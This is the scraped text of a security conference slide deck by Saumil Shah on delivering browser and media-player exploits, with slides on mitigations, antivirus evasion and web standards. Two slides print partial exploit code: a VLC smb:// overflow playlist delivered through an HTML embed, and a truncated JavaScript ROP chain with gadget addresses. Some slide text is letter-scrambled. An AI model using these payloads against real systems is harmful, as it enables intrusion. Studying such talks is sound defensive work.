delivery
play

DELIVERY l i m u a S h a h S 0 1 0 2 U L k . c a - PowerPoint PPT Presentation

Hi! Your exploits have arrived. EXPLOIT DELIVERY l i m u a S h a h S 0 1 0 2 U L k . c a H net-square # who am i Saumil Shah, CEO Net-square LinkedIn: saumilshah net-square The Web Has Evolved "The amount of


  1. Hi! Your exploits have arrived. EXPLOIT DELIVERY l i m u a S h a h S 0 1 0 2 U L k . c a H net-square

  2. # who am i • Saumil Shah, CEO Net-square • LinkedIn: saumilshah net-square

  3. The Web Has Evolved "The amount of intelligence in the world is constant. And the population is increasing." net-square

  4. Browser Death of Wars Standards HTTP HTML? +0.1 net-square

  5. THE WEB WE LIVE IN 5 net-square

  6. Wider Attack Surface 5 net-square

  7. Ease of Exploitation 5 net-square

  8. Mass Manufacturing 5 e d i w d l r o W , e g a r e v o c r u o y s e d i H . s k c a r t net-square

  9. Complexity... 5 ...as never seen before! net-square

  10. A New Dimension! 5 GUARANTEED!! Fresh new bugs, Present on most computers net-square

  11. Exploit Mitigation Techniques net-square

  12. /GS SafeSEH DEP ASLR Permanent DEP ASLR and DEP net-square

  13. /GS SEH overwrites SafeSEH non-SEH DLLs Return to LibC DEP Heap Sprays ASLR Permanent DEP ROP JIT Sprays ASLR and DEP net-square

  14. I can haz sandbox I Also Can! net-square

  15. Sploit Time! IM IN UR BASE KILLING UR D00DZ net-square

  16. See no EVAL CVE 2010-2883 (0+10) day exploit Obfuscated Javascript decoded without using eval, document.write, etc. net-square

  17. Who you gonna call? net-square

  18. howstuffworks - Anti Virus YER NOT ON THE LIST! COME ON IN. net-square

  19. howstuffworks - Anti Virus These are not the sploitz you're looking for. net-square

  20. 0-day to the Face! "To get our new signature files you need a valid support plan." net-square

  21. ...and keep on patching net-square

  22. Jedi Web Tricks Scripts Clever Short.nr without HTML5 JS scripts net-square

  23. W3C "I don't think it's ready for production yet," especially since W3C still will make some changes on APIs, said Le Hegaret. "The real problem is can we make HTML5 work across browsers and at the moment, that is not the case." [6 th October 2010] net-square

  24. We Broked Teh Webz! HTML HTTP Standards... Old and idiotic What Standards? Object JS too SRC= Stateless No Auth Bursty access powerful net-square

  25. The Web Application at present Delivery HTTP AJAX Authentication HTML Flash Statefulness Sandbox Data Typing HTML5 Non-mutable Anti-XSS WAF Silverlight Web sockets MIND THE GAP net-square

  26. Sploit Time! net-square

  27. smb:// mrl buffer overflow net-square

  28. VLC smb:// overflow - playlist <?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/"> <title>Playlist</title> <trackList> <track> <location> smb://example.com@0.0.0.0/foo/#{AAAAAAAA....} smb://example.com@0.0.0.0/foo/#{AAAAAAAA....} </location> <extension application="http://www.videolan.org/vlc/playlist/0"> <vlc:id>0</vlc:id> </extension> </track> </trackList> </playlist> net-square

  29. net-square

  30. Tiny Alpha ZOMFG Encoded URL Exploit net-square

  31. 100% Pure Alphanum! net-square

  32. VLC smb overflow - HTMLized!! <embed type="application/x-vlc-plugin" width="320" height="200" target="http://tinyurl.com/ycctrzf http://tinyurl.com/ycctrzf" id="vlc" /> I'm in ur browser.... pwn ...blowin up ur g00dz net-square

  33. This iz what ? net-square

  34. I'm an evil Javascript I'm an innocent image net-square

  35. function packv(n){var s=new Number(n).toString (16);while(s.length<8)s="0"+s;return(unescape ("%u"+s.substring(4,8)+"%u"+s.substring (0,4)))}var addressof=new Array();addressof ["ropnop"]=0x6d81bdf0;addressof ["xchg_eax_esp_ret"]=0x6d81bdef;addressof ["pop_eax_ret"]=0x6d906744;addressof ["pop_ecx_ret"]=0x6d81cd57;addressof ["mov_peax_ecx_ret"]=0x6d979720;addressof ["mov_eax_pecx_ret"]=0x6d8d7be0;addressof ["mov_pecx_eax_ret"]=0x6d8eee01;addressof ["inc_eax_ret"]=0x6d838f54;addressof ["add_eax_4_ret"]=0x00000000;addressof ["call_peax_ret"]=0x6d8aec31;addressof ["add_esp_24_ret"]=0x00000000;addressof ["popad_ret"]=0x6d82a8a1;addressof ["call_peax"]=0x6d802597;function call_ntallocatevirtualmemory (baseptr,size,callnum){var ropnop=packv (addressof["ropnop"]);var pop_eax_ret=packv (addressof["pop_eax_ret"]);var pop_ecx_ret=packv(addressof ["pop_ecx_ret"]);var mov_peax_ecx_ret=packv (addressof["mov_peax_ecx_ret"]);var mov_eax_pecx_ret=packv(addressof ["mov_eax_pecx_ret"]);var mov_pecx_eax_ret=packv(addressof ["mov_pecx_eax_ret"]);var call_peax_ret=packv (addressof["call_peax_ret"]);var add_esp_24_ret=packv(addressof ["add_esp_24_ret"]);var popad_ret=packv (addressof["popad_ret"]);var retval="" <CANVAS> net-square

  36. The Solution? HTML 8.0 Browser Security Model HTTP 2.0 Self Contained Apps net-square

  37. kthxbai www.net-square.com secure . automate . innovate net-square

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend